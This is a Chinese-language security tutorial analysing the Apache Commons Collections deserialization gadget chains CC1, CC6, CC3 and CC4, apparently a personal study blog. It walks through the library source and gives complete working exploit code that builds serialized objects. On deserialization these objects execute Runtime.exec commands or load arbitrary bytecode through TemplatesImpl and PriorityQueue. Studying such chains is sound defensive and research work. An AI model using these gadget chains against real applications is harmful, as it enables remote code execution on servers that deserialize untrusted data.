JAVA-CC链分析

文章发布时间:

最后更新时间:

文章总字数:
4.2k

预计阅读时间:
19 分钟

Java CC链分析

cc链简单的介绍:Apache Commons 当中有⼀个组件叫做 Apache Commons Collections ,主要封装了Java 的 Collection(集合) 相关类对象(有点像cpp的stl库),它提供了很多强有力的数据结构类型并且实现了各种集合工具类。

作为Apache开源项目的重要组件,Commons Collections被广泛应用于各种Java应用的开发,而正是因为在大量web应用程序中这些类的实现以及方法的调用,导致了反序列化漏洞的普遍性和严重性。

Apache Commons Collections中有一个特殊的接口Transformer,其中有一个实现该接口的类可以通过调用 Java的反射机制来调用任意函数,叫做InvokerTransformer

在分析cc链前先通过maven导入相关的组件(新建一个maven项目,然后在pom.xml文件中加入下面的代码):

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

另外可以在网上下个该版本jdk的源码,然后解压将sun包加入到src中,idea依赖路径加入src文件夹,就可以方便查看到源码。

CC1链利用过程分析

参考链接:Java安全入门(二)——CC链1 分析+详解_如何判断该使用哪种cc链_ErYao7的博客-CSDN博客

https://www.bilibili.com/video/BV1no4y1U7E1/?spm_id_from=333.1007.top_right_bar_window_default_collection.content.click

CC1链的整体过程:入口类AnnotationInvocationHandler反序列化自动执行其的readObject()方法,该方法中遍历了map,并调用了memberValue.setValue()方法,memberValue是对map的遍历对象,setValue又会自动调用checkSetValue方法,而checkSetValue调用了transform方法,transform方法完成命令执行

AnnotationInvocationHandler.readObject()–>MapEntry.setValue()–>TransformedMap.checkSetValue()–>ChainedTransformer.transform()

下面会从利用类开始往上推出整条cc1链:

InvokerTransformer类

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}

public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
}
}
}

关键部分源码如上,可以看出通过构建一个InvokerTranshformer实例,我们就可以调用其public的transform方法,从而实现任意函数执行(命令执行),具体如下:

1
2
Runtime runtime = Runtime.getRuntime();
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(runtime);

完全只通过反射获取runtime实例并执行代码的代码如下:

1
2
3
4
5
Class c = Runtime.class;   //先获取类
Method getRuntimeMethod = c.getDeclaredMethod("getRuntime",null); //再获取getRuntime方法
Runtime r = (Runtime) getRuntimeMethod.invoke(null,null); //调用getRuntime方法,相当于Runtime.getRuntime(),由于这是个静态方法,第一个参数为null,传入参数也是null
Method execMethod = c.getDeclaredMethod("exec",String.class); //再获取exec方法
execMethod.invoke(r,"calc"); //把runtime实例和命令传入exec并调用

也就是说其实我们在java中想要使用Runtime执行命令必须用到两个函数,第一个是getRuntime获取Runtime实例,第二个是exec,注意调用的是Runtime实例的exec方法,传入的参数是一个命令字符串数组。

可以将上述通过反射完全转化为只通过InvokerTransformer获取,这样更方便我们反序列化时自动调用。

1
2
3
Method getRuntimeMethod = (Method)new InvokerTransformer("getDeclaredMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
Runtime runtime = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(runtime);

每用一次transform其实就相当于调用了一次传入参数object的方法,InvokerTransformer构造函数的三个参数,第一二个用来寻找object的方法,第三个是要传入该方法的参数。

TransformerMap类

接下来我们就要找有没有别的方法调用了transform方法,注意不能找transform调用transform的,因为这对我们构建链子并没有任何作用,我们最终的目标是回到readObject,并使得链子在反序列化时自动执行。

通过IDEA全局查找函数用法,找到了TransformerMap类的checkSetValue方法调用了transform:

1
2
3
4
5
6
7
8
9
10
11
protected Object checkSetValue(Object value) {
return this.valueTransformer.transform(value);
}
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}

通过关键代码分析可以看出valueTransformer受我们的控制,故可以通过checkSetValue方法来调用transform,值得一提的是注意该map的构造函数是protected的,这意味着我们不能直接从类外调用他的构造函数来生成实例,必须调用decorate来生成实例。

接下来找调用了checkSetValue方法的方法,只找到了一处调用AbstractInputCheckedMapDecorator文件中的MapEntry类的setValue调用了checkSetValue,MapEntry中的setValue方法其实就是Entry中的setValue方法,他这里重写了setValue方法。TransformedMap接受Map对象并且进行转换是需要遍历Map的,遍历出的一个键值对就是Entry,所以当遍历Map且setValue时,checkSetValue方法也就执行了。

一句话总结:Entry遍历Map并setValue,就会自动调用checkSetValue

依此,我们可以使用半条链来进行命令执行试试:

1
2
3
4
5
6
7
8
9
10
11
12
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});

// 以下步骤就相当于 invokerTransformer.transform(runtime);
HashMap<Object, Object> map = new HashMap<>();
map.put("key","value");

Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, invokerTransformer);

for (Map.Entry entry:transformedMap.entrySet()){
entry.setValue(runtime);
}

AnnotationInvocationHandler类

再找谁调用了setValue,最好找的是readObject,因为我们的链子已经挺长了,找到了AnnotationInvocationHandler类的readObject调用了setValue,反射链成型。

需要注意的时AnnotationInvocationHandler不是public,只能在所属包下访问到,所以我们通过反射获取(通过完整名称)。

先看一下构造函数,接收两个参数,class对象(注解)和map对象,这个map是我们可以控制的,可以放置我们构造好的map。同时在readObject中我们也发现了Map的遍历和setValue。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
      AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
Class<?>[] superInterfaces = type.getInterfaces();
if (!type.isAnnotation() ||
superInterfaces.length != 1 ||
superInterfaces[0] != java.lang.annotation.Annotation.class)
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
this.type = type;
this.memberValues = memberValues;
}


private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();

// Check to make sure that types have not evolved incompatibly

AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; time to punch out
throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
}

Map<String, Class<?>> memberTypes = annotationType.memberTypes();

// If there are annotation members without values, that
// situation is handled by the invoke method.
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}

另外为满足两个if并最终走到setValue,我们需要将构建的map的键设为”value“,并将传入的注解类设为Target.class,另外最后setValue的参数并不是我们想要的Runtime.class,我们需要在获取方法前将其修改,这时候可以想到使用ConstantTransformer进行修改(不管传入什么总返回构造时设置好的值),同时为使transform时命令连续执行,前一个输出为后一个的输入,可以使用ChainedTransformer,完整链如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;


public class cc1test {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", null }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, null }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc"})
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap();
map.put("value", "value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, transformerChain);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandler = c.getDeclaredConstructor(Class.class, Map.class);
annotationInvocationHandler.setAccessible(true);
Object instance = annotationInvocationHandler.newInstance(Target.class, transformedMap);
serialize(instance);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
return ois.readObject();
}
}

总结:就是找同名函数的用法,最终回到readObject。

CC6链利用过程分析

1链分析较为详细,后面的分析比较简略。

白组长强烈推荐,最好用的链,不需要特定CC版本和jdk版本

简单流程:hashmap.readObject()–>TiedMapEntry.hashcode() –>LazyMap.get()–>ChainedTransformer.transform()

get之后的步骤和链1完全一样。

具体流程

LazyMap的get方法调用了factory.transform(key),而factory是我们可以控制传入的一个Transformer类型的实例,于是我们可以把构造好的ChainedTransformer传进去。

接下来找谁调用了get方法,找到TiedMapEntry的getValue方法调用了传入的map(控制传入构造好的lazymap)的get,而TiedMapEntry的hashCode()又调用了getValue。

接下来找谁调用了hashCode,这个应该很容易想起hashmap的readObject就调用而来hash,hash又要用到hashcode,链子成型,但还有一些小问题需要注意。

小问题解决

  • put的时候就会调用hashcode直接触发命令(和dnsurl链类似),为了不让他put的时候就触发命令,我们可以改一下lzmap的factory,先别把transformerChain传进去,然后put完了之后再使用反射改回来。
  • 触发了一次之后lzmap添加了key,为让他下次能够正常触发get,需要使用move将其移除。

完整链子代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] {"getRuntime", null }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] {null, null }),
new InvokerTransformer("exec", new Class[] {String.class }, new Object[] {"calc"})
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> lzmap = LazyMap.decorate(map,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lzmap,"aa");
HashMap<Object,Object> map2 = new HashMap<>();
map2.put(tiedMapEntry,"bb");
Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lzmap,transformerChain);
lzmap.remove("aa");

CC3链利用过程分析

参考链接:java反序列化-cc3链分析 - FreeBuf网络安全行业门户

该链与1和6最大的不同体现在命令执行,此CC3链事实上是通过动态任意类加载实现了代码执行。相较于命令执行,代码执行应用更加广泛。

反序列化不同CC链之间都是有不同的部分也有相同的部分,这也体现出反序列化各部分是相对独立的部分。(相同的部分直接复制即可)

defineClass<–defineTransletClasses<–getTransletInstance<–newTransformer

下面是关键部分的源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
    protected final Class<?> defineClass(String name, byte[] b, int off, int len)
throws ClassFormatError
{
return defineClass(name, b, off, len, null); //关键,任意类加载
}



private void defineTransletClasses()
throws TransformerConfigurationException {

if (_bytecodes == null) {
ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
throw new TransformerConfigurationException(err.toString());
}

TransletClassLoader loader = (TransletClassLoader)
AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
}
});

try {
final int classCount = _bytecodes.length;
_class = new Class[classCount];

if (classCount > 1) {
_auxClasses = new HashMap<>();
}

for (int i = 0; i < classCount; i++) {
_class[i] = loader.defineClass(_bytecodes[i]);
final Class superClass = _class[i].getSuperclass();

// Check if this is the main class
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
_transletIndex = i;
}//编写的恶意类必须继承自ABSTRACT_TRANSLET
else {
_auxClasses.put(_class[i].getName(), _class[i]);
}
}

if (_transletIndex < 0) {
ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}
catch (ClassFormatError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (LinkageError e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}



private Translet getTransletInstance()
throws TransformerConfigurationException {
try {
if (_name == null) return null; //需要满足的if,name需要设置值

if (_class == null) defineTransletClasses(); //方法调用,class不需要设置

// The translet needs to keep a reference to all its auxiliary
// class to prevent the GC from collecting them
AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(_useServicesMechanism);
translet.setAllowedProtocols(_accessExternalStylesheet);
if (_auxClasses != null) {
translet.setAuxiliaryClasses(_auxClasses);
}

return translet;
}
catch (InstantiationException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
catch (IllegalAccessException e) {
ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
throw new TransformerConfigurationException(err.toString());
}
}



public synchronized Transformer newTransformer()
throws TransformerConfigurationException
{
TransformerImpl transformer;

transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
_indentNumber, _tfactory); //关键方法调用和需要满足的条件

if (_uriResolver != null) {
transformer.setURIResolver(_uriResolver);
}

if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
transformer.setSecureProcessing(true);
}
return transformer;
}
  • CC3链是任意类动态加载导致的代码执行,而这个利用点在defineClass中,这个方法将字节码数据加载为了java对象,由于是protected修饰,我们需要找谁调用了defineClass。

  • 找到了Templatesimpl的defineTransletClasses方法,再往上找找到了该类的getTransletInstance方法,执行静态代码不仅需要类加载,还需要初始化,getTransletInstance满足了初始化class,然而依然是一个私有的方法,需要继续往上面找。

  • 找到了public方法,newTransformer,先以该方法为入口测试链。

  • 需要注意的是满足各方法中的if条件,从而顺利地执行我们想要的方法。

  • 在getTransletInstance方法中,需要满足_name不为空,_class不用,它默认为空。而走到defineTransletClasses方法中,_bytecodes不能为空。而这个bytecodes就是我们构造的恶意类的字节码,_tfactory属性不能为空,因为它需要调用某个类的函数,但是_tfactory被标记为transient,无法反序列化,但是看readObject可知,其已自动设置值,不用担心,另外恶意类需要继承自ABSTRACT_TRANSLET,测试代码如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    TemplatesImpl templates = new TemplatesImpl();
    Class c = templates.getClass();
    Field name = c.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(templates,"aaa");
    Field bytecode = c.getDeclaredField("_bytecodes");
    byte[] code = Files.readAllBytes(Paths.get("C://Users/19670/IdeaProjects/cc1test/target/classes/cc3demo.class"));
    bytecode.setAccessible(true);
    bytecode.set(templates,new byte[][]{code});
    Field tfactory = c.getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates,new TransformerFactoryImpl());
    templates.newTransformer();
  • 入口是newTransformer(),继续往上找,找到了TrAXFilter的构造方法中就用到了,可是TrAXFilter不能序列化,只能找一个能够调用别的类的构造方法,且能反序列化的类来调用TrAXFilter的构造方法

  • InstantiateTransformer这个类。重点在于它的transform方法,它会调用任意类的构造函数,可以解决上面类不能实例化的问题。只要调用了InstantiateTransformer类的transform方法,就可以任意代码执行

  • 由于CC3仅改变命令执行处的方法(就相当于把invokeTransformer和runtime给回避掉),故入口处依然采用CC1的入口,完整代码如下:

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    TemplatesImpl templates = new TemplatesImpl();
    Class c = templates.getClass();
    Field name = c.getDeclaredField("_name");
    name.setAccessible(true);
    name.set(templates,"aaa");
    Field bytecode = c.getDeclaredField("_bytecodes");
    byte[] code = Files.readAllBytes(Paths.get("C://Users/19670/IdeaProjects/cc1test/target/classes/cc3demo.class"));
    bytecode.setAccessible(true);
    bytecode.set(templates,new byte[][]{code});
    Field tfactory = c.getDeclaredField("_tfactory");
    tfactory.setAccessible(true);
    tfactory.set(templates,new TransformerFactoryImpl());
    Transformer[] transformers=new Transformer[]{
    new ConstantTransformer(TrAXFilter.class),
    new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
    };
    ChainedTransformer transformerChain = new ChainedTransformer(transformers);
    HashMap<Object,Object> map = new HashMap<>();
    map.put("value","aaa");
    Map<Object,Object> transformedMap = TransformedMap.decorate(map, null, transformerChain);
    Class cla = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
    Constructor annotationInvocationHandler = cla.getDeclaredConstructor(Class.class, Map.class);
    annotationInvocationHandler.setAccessible(true);
    Object instance = annotationInvocationHandler.newInstance(Target.class, transformedMap);
    serialize(instance);
    unserialize("ser.bin");CC4链利用过程分析

CC4链利用过程分析

要求maven4.0!!

1
2
3
4
5
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>

动态代码执行与CC3一样,利用了新的入口PriorityQueue

简要分析:不用AnnotationInvocationHandler和TransformedMap来调用transform,还有一个TransformingComparator的compare方法调用了传进去的对象的transform方法,compare往上找找到了PriorityQueue的siftDownUsingComparator<–siftDown<–heapify()<–readObject反序列化成型

1
2
3
4
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}

注意这里的>>>符号,是java中的无符号右移运算符,size=2的话右移一位就是1,所以这里i=0,对queue数组中的第一个元素调用siftDown。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();
Field name = c.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"aaa");
Field bytecode = c.getDeclaredField("_bytecodes");
byte[] code = Files.readAllBytes(Paths.get("C://Users/19670/IdeaProjects/cc1test/target/classes/cc3demo.class"));
bytecode.setAccessible(true);
bytecode.set(templates,new byte[][]{code});
Field tfactory = c.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
ChainedTransformer transformerChain = new ChainedTransformer(transformers);//上面是cc3的,下面是cc4新的
TransformingComparator transformingComparator = new TransformingComparator(transformerChain);
PriorityQueue<Object> queue= new PriorityQueue<>(2);
queue.add(1);
queue.add(1);
Field field2 = queue.getClass().getDeclaredField("comparator");
field2.setAccessible(true);
field2.set(queue, transformingComparator);
Field field3 = queue.getClass().getDeclaredField("queue");
field3.setAccessible(true);
field3.set(queue, new Object[]{templates, templates});

各种cc链先分析到这,总之就是各种入口+命令执行的排列组合以及在不同的类中寻找同名函数的调用,直到来到readObject。

image-20230721144419002